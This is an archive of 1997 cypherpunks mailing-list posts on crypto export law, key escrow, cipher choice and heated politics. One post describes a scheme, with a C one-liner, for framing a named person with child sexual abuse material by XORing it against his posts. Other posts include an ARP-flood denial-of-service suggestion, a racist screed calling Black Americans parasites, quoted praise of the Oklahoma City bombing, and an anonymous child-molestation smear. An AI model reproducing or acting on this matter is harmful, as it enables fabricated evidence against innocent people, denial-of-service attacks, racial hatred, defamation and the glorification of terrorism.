Message-ID: <3.0.1.32.19970510124931.0075af90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:42 PM 5/8/97 -0800, Tim May wrote:
>At 3:38 PM -0800 5/8/97, kqb@planet.net wrote:
>>What does it take to set up an offshore "remailer bank"?  Of course,
>>the digital cash it uses must be very INefficient, chock full of bit
>>bloat that hosts plenty of not-so-subliminal channels. 8-)
>
>You hit the nail on the head with your last line: subliminal channels.
>
>Even financial software, ostensibly with no export controls, will still
>have to be vetted for export, as any system usable for financial
>cryptography is almost certainly usable for "other purposes."

My old line courtesy of a DYAM (Dead Yellow Asian Male):

"Revolutionaries swim like fish in the sea of commerce."

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Sun, 11 May 1997 01:11:48 +0800
To: <cypherpunks@algebra.com>
Subject: Re: One-Time Pads as Attack Method
Message-ID: <199705101646.MAA21972@main.inetnow.net>
MIME-Version: 1.0
Content-Type: text/plain



Your response is most interesting!  It almost implies you can't publish
for(i=0;i < filesize(B); i++) C[i] = A[i] ^ file_contents[i];

I wonder why the difficulty in simply (I thought of actually going ahead 
and doing this):

Take a posting (B.) to cpunks by Tim May.  THese get disseminated quite
widely and he's well-known; his thoughts and style should make deniability
of the message difficult.

Calculate C = B ^ A such that A = kiddie porn of your choice.

Post the UUENCODE of C. to cypherpunks, send the binary to Tim, etc.

Call your favorite Agency to investigate.

Your variant in which the file B. is known, as in KRNL386.EXE is also viable,
if not more so!

Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
into copyrighted material B a violation of anything, I wonder...  You could
convert everybody's Internet Explorer into a ZIP file containing a setup
and executable for Netscape 3.0!!

At 10:33 AM 5/10/97 -0400, Peter D. Junger wrote:
>00043.an@edtec.com writes:
>
>: 
>: 1. Agents of the Enemy wish to create the appearance of you possessing
>: document A.
>: 2. They obtain some artifact you have emailed, or posted, or possess on
>: your private local storage. ---
>: Possibly even signed.  Call this message B.
>: 3. They create the XOR of A and B, the result being a 'one time pad' C.
>: which of course, gives:
>: private message B XOR C = target bogus message A.  This result is of course
>: not a one time pad;
>: the plan is to accuse you of possessing materials that prove you are
>: trading with the enemy,
>: exchanging kiddie-porn, any of the usual things.
>: 4. This 'one time pad' file C. somehow finds its way into your possession:
>: it is an email attachment,
>: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
>: 5. The agents break down the door and seize all your effects.  
>: 6. They are able to prove that you possess B and C, the XOR of which is A.,
>: a fact that is impossible
>: to have happened at random.
>: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
>: by accident are 0,
>: then you must be guilty.
>
>It was in part for the purpose of demonstrating this possibility that I
>wrote the OPT program that I later realized that I could not publish in
>any form under the ITAR and cannot publish in electronic form under the
>new Commerce Department export regulations (unless I apply for a license
>(that I probably cannot get) from the government, a requirement that
>violates the First Amendment to the United States constitution).  And it
>was the restraints on publishing that and other crypto programs that led
>me to file suit to enjoin the enforcement of the export restrictions on
>cryptography.
>
>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.
>
>Do you think that Microsoft has a one-time-pad that will convert
>Netscape 3.1 into Word for Windows?
>
>
>--
>Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
> EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
>     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:50:23 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <199705101543.KAA12872@mailhub.amaranth.com>
Message-ID: <w3ZH7D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> >Fact is, so long as anybody is free to send a message to someone else,
> >then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
> >the sense of not breaking any laws. Whether tasteful or not, legit.
>
> Yes this is true just as it is ligit for me to make arp request to their
> routers, lots of arp requests <EG>. There is nothing ilegal from me sending
> such a request nor is their any limitation on the number of request that I
> make.

And if they come up with a technical solution, it'll advance the state
of the art and generally make the net a better place.

> As far as the "denial of service" problem that is theirs not mine. After
> all they were not concerned with the problems they caused by dumping
> +1,000,000/day e-mail messages on AOL's servers so why should anyone be
> conserned with their network problem?

Just be prepared for an FBI visit in response to Wallace's complaint
- make sure your entire child pornography / bomb making recipe collection
is securely encrypted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 01:19:58 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <3.0.1.32.19970510130735.00758fb8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 AM 5/10/97 -0700, Blanc wrote:
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.

He didn't say it was a better thing to do.  He said he was coming to understand McVeigh's actions.

It is important that everyone from the uninvolved on up to the ruling classes understand that we are reaching a point where laws won't "work" anymore because power is devolving down the heirarching to the fundamental organizational unit -- the individual.  If two guys with $2K to spend can take out a building or someone else with ten minutes to spend and a Net connection can render export controls ineffective then power relationships have changed.

The faster our "rulers" and their "ruled" understand this, the lower the total body count.  They simply don't have the power any more.  It's gone.

Tim is helping (in his way) to convince others of the facts of the matter.  Dramatic statements carry the message better.

The more people who are convinced that politics is dead, the faster the corpse will decay and the smoother the transition.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:52:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <v03007804af9a5096de5c@[207.167.93.63]>
Message-ID: <8a1H7D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> Innocents died in Dresden. No doubt compelling stories and images could be
> dug up of little Frieda slowly suffocating as the firestorms sucked the air
> out of her underground shelter, or of little Hans screaming for his mother
> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
> admitted to be a  "public demonstration" of allied willingness to destroy
> civilians in what was primarily a "cultural" city, not a significant center
> of military production.

Why go so far back?  How many civilians were murdered by the U.S. gubmint
in Korea, in Viet Nam, in Panama, in Iraq?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:45:30 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705101642.LAA13447@mailhub.amaranth.com>
Message-ID: <ie1H7D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> >Apropos of this last point, I wouldn't be at all surprised if "Yee" and
> >"Ung" turn out to be Koreans interested in defending themselves against
> >these hordes of animals.
>
> Hmmm... the reports I heard failed to mention any names.
>
> I wouldn't be suprised if your analysis was correct. The orientals seem to
> be quite hated by the inter city blacks as they are a constant reminder
> that minorities can thrive and prosper in America (the only color that
> really matters here is green dispite what some would have you think).

I would generalize this statement: the vast majority of U.S. blacks
(whether the inner city parasites or the parasites employed by the
federal/state/local gubmints) extremely hate all successful immigrants,
whether orientals or Russian Jews. So do many non-black Americans.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 11 May 1997 18:02:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Certified primes
In-Reply-To: <199705101759.TAA01604@basement.replay.com>
Message-ID: <Pine.A41.3.95.970510132606.54990A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Anonymous wrote:

Another demonstration of the sickness in the mind of Vulis.

> Given Timothy May's propensity to molest little children, is it any 
> surprise that the state of California wants to have him castrated?
> 
>        /\ o-/\  Timothy May
>       ///\|/\\\
>      /   /|\   \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:57:40 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510133401.006ce484@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


>From frissell@panix.com:

>At 12:35 AM 5/10/97 -0700, Blanc wrote:

>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
understand McVeigh's actions.
.................................................................


He didn't explicity say it was the better thing to do.    But when there is
a decision to be made about a course of action to take, and there are
choices available and you select one over another,  you have evidenced
which one you think is the better.

>Tim is helping (in his way) to convince others of the facts of the matter.
 Dramatic statements carry the message better.

Lately Tim has been making extremely dramatic death statements:   "Kill
them all...they are unworthy of life.", "... I
pray for the deaths of these criminals.",  "Washington is a cancer than can
only be cured with a few megatons of
nuclear disinfectant.", "May they all be vaporized.", etc.  

These are definitely dark in mood and understandable; I also have violently
negative & despairing emotions about these people.   I just wouldn't ever
think of involving those who are innocent bystanders and happened to be in
the wrong place at the wrong time.

This is the same kind of flaw which collectivists make when they set up
groups, governments, any kind of organization: they take a broad sweep of
the population, without being particular about any exceptions to their
rules or their plans.

It has always been the defining element in what is different about the U.S.
from other countries, that individuals receive more attention and
recognition as single entities, with their own defining characteristics,
than anywhere else in the world.   We are more free to descriminate, to
think of people as responsible for their own actions and as deserving of
just consequences for them.   It muddies this concept, to lump a large
aggregate of people into one and treat them all as being the same entity;
it takes the mind from being able to think in terms of specifics, into
thinking instead in broad considerations which overlook the particulars. 

Technology delivers to the single person the possibility of efficacy on
their level, as compared to having to wait for some overseeing body of
authorities to deliver solutions from their stock of tools & means.
Technology also makes it possible to be even more precise about cause &
effect - so that the tools one uses can be of benefit only to the user
without affecting anyone else who is not interested in participating, or in
being affected by, what anyone else may be doing.

I know that critical times call for critical action, but I just don't
expect from anarchist libertarian cypherpunks that they would "throw
caution to the wind" (so to speak) and forget how to think about events and
actions in terms of specifics and utter precision.   

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:52:48 +0800
To: cypherpunks@toad.com
Subject: Re: The War is Underway
Message-ID: <3.0.32.19970510133901.006d755c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>However, while we may think their power is gone, or is almost gone, they
>think otherwise. And we're seeing an accelerating pace of lawmaking, as
>laws are being generated by the 50 states, the various municipalities, and,
>of course, the Feds. Even the lawmakers can't explain what their laws will
>mean, or who will be prosecuted, or how many new prisons will have to be
>built to handle the new felons.
..........................................................


It's a terrible thing, a terrible course of events.   But consider that
they are but the tip of the iceberg; what fuels them is all those
supportive constituents in their voting districts.   What do you recommend
be done to *them*?

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 04:55:57 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
Message-ID: <3.0.32.19970510134242.006c46d4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>Give me a break. The "he must be drunk" argument is the cheapest shot, no
>pun intended, in the book.
>
>(And, please, knock of the use of "Timothy" is a post where one disagrees.
>If "Tim" is fine for most responses, why the sudden formal "Timothy"?
>Another rhetorical device.)
.........................................................


I was being facetious, Timmy.

    ..
Blanc
(I'd say more, but right now I have to go watch "The 5th Element".)
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 05:09:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <19970510135714.39308@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 12:20:51PM -0800, Tim May wrote:
> At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
> >On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> >>
> >> (Don't forget that during the L.A. riots it was the Koreans who prominently
> >> were defending themselves and their property with so-called "assault
> >> weapons" against the coloreds. The main justice that came out of those
> >> riots was that 30 square blocks of inner L.A. remain burned out and
> >> unrebuilt, leaving those who rioted and looted with no local stores to shop
> >> in. And the Koreans are even vastly better armed than before.)
> >
> >I wonder what would be the "main justice" to result from the
> >cypherpunks riots you are advocating?
> >
> 
> And just what "cypherpunks riots" would those be? I don't advocate that
> white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
> Raton, etc.--as some other groups have repeatedly done (South Central LA,
> Liberty City, Asbury Park, etc.).

Just a reference to your more than usually histrionic posts of recent 
days.  Some quotes:

"May they all be vaporized."

"Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors."

"Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that."

"Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line)."

I'm sure someone who was more alert than I am could find many similar 
examples. 

I would expect a "cypherpunk riot" to be a little more aimed at 
cyberspace than real-world suburban neighborhoods.  Wouldn't you?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 11 May 1997 06:34:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <3.0.1.32.19970510153158.0285878c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:57 PM 5/10/97 -0700, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at 
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Several points come to mind:

Tim hasn't suggested that a riot would be useful or likely. He's mentioned
various forms of political violence (e.g., assassination and terrorism) but
he hasn't mentioned riots. They're not the same thing.

Riots aren't necessarily violent, nor are they necessarily or often useful to
their participants .. in fact, they may be counterproductive to the aim(s) of
their participants, except where they give the participants an opportunity to
take symbolic or emotionally satisfying action .. which usually provides very
little long-term change. But they may be useful to the riots' "opponents",
who may also be their instigators. 

I think you've been sucked into conflating "cypherpunk" with "cyberpunk",
e.g., people who define themselves socially by their (positive) relationship
to technology. A cyberpunk riot would probably take place in "cyberspace",
and would probably include messages from corporate sponsors, clean and
orderly virtual streets, and attractively drawn avatars. A cypherpunk is
defined socially/politically by a (negative) relationship to existing
political structures. The Internet *is* a cypherpunk riot.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3T3OP37pMWUJFlhAQFRPQf/W+O4gZFmfceU+6kXVki/UXsQAh05YQZy
xv8dmlgjtSFUqyTyzyr9KbZe5RvOdx7OI+F7lZlT1ze9DXzBSRZH1Daf4lf7Cabc
O8UNsEEz/uk1KB1mL/8W8NApHIBIYf7rU/ZVR34sQfUHXCSQ2UU7SjqVKMU+wmhf
dG4AgI0FddN/Px8jJRzPfiyp0aWWe1+kF9rrI3b7lU5V0ruG0oO5sldnALW1yXTo
ZRxWyBIBnlttrQaDLbWQRh0qqVNXkNi08AuVTTX78v80W44vdBKBqdUIrDlDpaew
L+O6o/riY9AjdWM2uY9tuEMHKIX5vASJEL+6dCWMH4EkOz2rBux3LA==
=UUDT
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 07:26:29 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
Message-ID: <19970510161002.52031@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 06:17:56PM -0400, Black Unicorn wrote:
> 
> On Sat, 10 May 1997, Adam Back wrote:
> 
> > 
> > Tim May <tcmay@got.net> writes:
> > > However, while we may think their power is gone, or is almost gone, they
> > > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> [The fork in the road is discussed]
> 
> > > Who will actually win?
> > > 
> > > I think we will. They think they will. The war is underway.
> > 
> > So what are we doing to fight our side?  (Apart from fantasizing
> > about nuking the bastards till they glow :-)
> >
> > So what can cypherpunks do?
> > 
> > Write code?
> 
> Yes.  One of the major stumbling blocks I have run into is a lack of code
> which really is refined and reviewed enough to serve the purposes I need
> it to serve.  FC97 did a lot to make some more obscure things obvious, and
> familiarize the players with each other, but the details are often hard to
> come by.  Many of the applications out there are painfully behind in
> interface areas forcing developers to use complicated "toolkits" which
> often lack the basics we need. Finding an analogy to easily explain even
> the basics to a customer is very difficult unless the front end jibes with
> the attempt.
> 
> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

http://adonis.ee.queensu.ca:8000/cast/cast.html

Also 

http://www.entrust.com/library.htm

[Caveat:  I am not a cryptographer.]

[...]
> 
> Still, these are areas that I wish c'punks would start looking at again.

Unfortunately, c'punks seems bogged down in macho fantasies about guns.

> Even if strong unforfeited crypto is legal in the U.S., it will not be in
> other countries for quite some time.
> 
> There is strength in numbers, not just safety.  The more crypto users
> there are, the less government, or anyone else, can do about it.

Hence the value of the "Crypto is Cool" approach.  A valuable addition
would be crypto packages designed for high school kids.  All my many
nieces and nephews are on the net...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 11 May 1997 06:06:14 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Disinformation in L.A.
In-Reply-To: <ie1H7D14w165w@bwalk.dm.com>
Message-ID: <199705102146.QAA17224@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> > I wouldn't be suprised if your analysis was correct. The orientals seem to
> > be quite hated by the inter city blacks as they are a constant reminder
> > that minorities can thrive and prosper in America (the only color that
> > really matters here is green dispite what some would have you think).
> 
> I would generalize this statement: the vast majority of U.S. blacks
> (whether the inner city parasites or the parasites employed by the
> federal/state/local gubmints) extremely hate all successful immigrants,
> whether orientals or Russian Jews. So do many non-black Americans.

also, many sovok immigrants hate blacks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 11 May 1997 06:39:09 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
Message-ID: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 10 May 1997, Adam Back wrote:

> 
> Tim May <tcmay@got.net> writes:
> > However, while we may think their power is gone, or is almost gone, they
> > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]

[The fork in the road is discussed]

> > Who will actually win?
> > 
> > I think we will. They think they will. The war is underway.
> 
> So what are we doing to fight our side?  (Apart from fantasizing
> about nuking the bastards till they glow :-)
>
> So what can cypherpunks do?
> 
> Write code?

Yes.  One of the major stumbling blocks I have run into is a lack of code
which really is refined and reviewed enough to serve the purposes I need
it to serve.  FC97 did a lot to make some more obscure things obvious, and
familiarize the players with each other, but the details are often hard to
come by.  Many of the applications out there are painfully behind in
interface areas forcing developers to use complicated "toolkits" which
often lack the basics we need. Finding an analogy to easily explain even
the basics to a customer is very difficult unless the front end jibes with
the attempt.

The amount of confusion over what represents a good algorithm is also
interesting.  Take CAST, which seems a promising cipher and which we
considered using over IDEA.

On asking 4 "experts" about CAST, I got 4 answers.

1>  A 64 bit cipher with 40 bits secret.
2>  A 64 bit cipher - not expected to be very complete.
3>  A 128 bit cipher.
4>  "Not worth discussing."

In fact, as I understand it, CAST is of variable key length (Up to 128
bits), and quite resistant to many attacks which plague DES and even IDEA.

But digging out that information was painfully difficult.  (It may not
even be correct).

> Perhaps it's time for some stego interfaces to remailers.
> 
> Usually around this time Black Unicorn gives us his wish list of
> crypto anarchy apps.  I'm not sure we've progressed much towards his
> wish list since the last time he posted it.

Most of what concerns me is the need to keep keylengths "obscenely large"
because what is obscene today may not be so obscene after 5 years of
chilled crypto development.

Given the success (or lack thereof) of my call to arms before, I'm not
sure I'll be anxious to repeat it soon.  (The largest keylength of any
widely used cipher of which I am aware remains at 128.  There still is no
effective PipeNet, no real mainstream "stealth crypto."  No significant
work on detering traffic analysis or denial of service with the exception
of the below).

> I thought the Eternity Service I announced a week or so ago was a step
> towards reducing the possibility for government censorship of web pages.
> (http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
> Ideas stand on their merit, but the success of crypto anarchy services
> also depends on ease of use, funding, volunteer effort, publicity, and
> evangelizing.  I haven't done much of the latter yet lacking an
> example server to bootstrap the system, I hope to have this up in a
> few weeks.

Hearty kudos.

An online bank is useless if it can be blocked by a few keystrokes.

(But that's what secure INMARSAT phones are for too)

Still, these are areas that I wish c'punks would start looking at again.
Even if strong unforfeited crypto is legal in the U.S., it will not be in
other countries for quite some time.

There is strength in numbers, not just safety.  The more crypto users
there are, the less government, or anyone else, can do about it.

C'punks should wish to provide clandestine crypto services for the entire
population.  Laws which may or may not pass in the United States should
bore c'punks, because they should realize that legislation is irrelevent
because the genie is already out of the bottle.  Unfortunately, I don't
think the genie is all the way out of the bottle.


NOTE:  I'm not on cypherpunks anymore, mail me directly for replies.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Sun, 11 May 1997 07:31:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Political action and cypherpunks
Message-ID: <97051023213149/0005514706DC3EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Given the recent comments on cypherpunks, I thought I would point out
a potentially useful resource:

http://www.geocities.com/CapitolHill/4843/

It might give the more 'political action' minded some useful ideas.

MW

Hierarchical organizations of all sorts orient around a monopoly. That
monopoly may be of force (as in 'gunpowder empires'), information
(particularly in intelligence organizations), command (as in military or
political structures), benefit (family or religious structures, where the
hierarchical control comes from the ability to dispense food, wealth,
etc.), interpretation (as in the Soviet State, which was the arbiter of
the dialectic), etc. Monopoly reservation or control of some resource
automatically equates to a dependency. What does this say about the
battle to control cryptography?

This is my PGP key; there are many like it, but this one is mine:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzKfDM8AAAEEANn6IkHPSVLZS+z74L50to0yKIPyBD1620wvo28N9hZwVdaK
w7NvAAbX37NPfmTAikqQyN38AB22h8+LQw6tKJQFMBFCz6slGPlRmgMOmELZQZ0w
TO7NtPVpHqoe5nywd4msZr+VPFu0SuG7EWq57v/H8LG8PglvgLXwnqtr0xcZAAUT
tCRNaWNoYWVsIFdpbHNvbiA8NTUxNDcwNkBtY2ltYWlsLmNvbT4=
=wMsF
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 02:33:58 +0800
To: kent@songbird.com
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <199705101819.TAA01030@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > >I was saying that if Sam needs to read my encrypted file/mail, then
> > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > >my encrypted file/mail, then I should list Acme,Inc. as a
> > >crypto-recipient.
> > >
> > >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you. 

It seems to me that it is you Kent who is scrambling to find plausible
reasons why key escrow is the best or only technology to use in
corporate email systems.

> [long analogy to physical locks and keys on company premises]
>
> With this background, perhaps now you can see why I say that Carl's 
> solution doesn't even address the problem.  The problem is management 
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> What part of the organization that is Acme Corp is authorized to know 
> this particular bit of information?  Because some of the employees 
> are idiots you want this built automatically into the application 
> they are using for encryption/email/whatever.  How does this software 
> know what policy is appropriate for which employee?  How is that 
> policy distributed?  What is the interface that allows a policy to be 
> defined?   How do you protect the policy definition from subversion?

Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
saying on cryptography@c2, that key escrow has complexity problems,
contrary to what you have previously been arguing :-)

> Contrast that with a key-safe model, where a copy of every encryption
> key is kept in a secure database.  The encryption client software only
> talks to the key-safe when a new key is generated, over a
> cryptographically secure channel, of course.  There is no policy the
> client has to know.  The user encrypts freely without concern about
> who else should get copies.  The organization knows that there is very
> little chance of data loss because of lost keys, and can use any
> policy it chooses to recover keys, from the company president's ad hoc
> whim to a carefully specified organization al security policy. 
> 
> Access to the key-safe is critical, of course, but it can be made 
> very secure -- a special-purpose piece of hardware that requires 
> passwords from n out of m key czars before access is granted, for 
> example.  Or the contents of the key safe can be encrypted via keys 
> escrowed through a secret sharing mechanism

I don't see the difference.  With the encrypt to multiple recipients
approach where the second crypto-recipient is the company key you can
store the private half of the corporate key using the same techniques
you discussed above.

Access to the data requires access to the master key in both cases.

You fix the second crypto-recipient in the MUA if you wish to.  The
fire-wall can reject posts without the second crypto-recipient.  You
can use binding cryptography to ensure the fire-wall can tell that it
is an encrypted copy of the same document without the firewall needing
access to the master key.  You can't do this company has all keys in
the safe model, without givin the firewall automatic access to the
safe, which is a huge security risk.

So, I suppose you would argue that oh no, the user can by pass this
feature of the MUA, they can use a different MUA, or telnet to the
SMTP port manually.

Well, you know, people can bypass keys which are stored in the company
safe also: don't use them!

They can also walk out of the building with a floppy, store info in
their heads, or use any number of subliminal channels that abound in
crypto and internet protocols.

The advantage of the multiple recipient model is that doesn't commit
the cardinal sin/design flaw of sharing private crypto keys.

Some people have argued that multiple recipient is less suited to GAK,
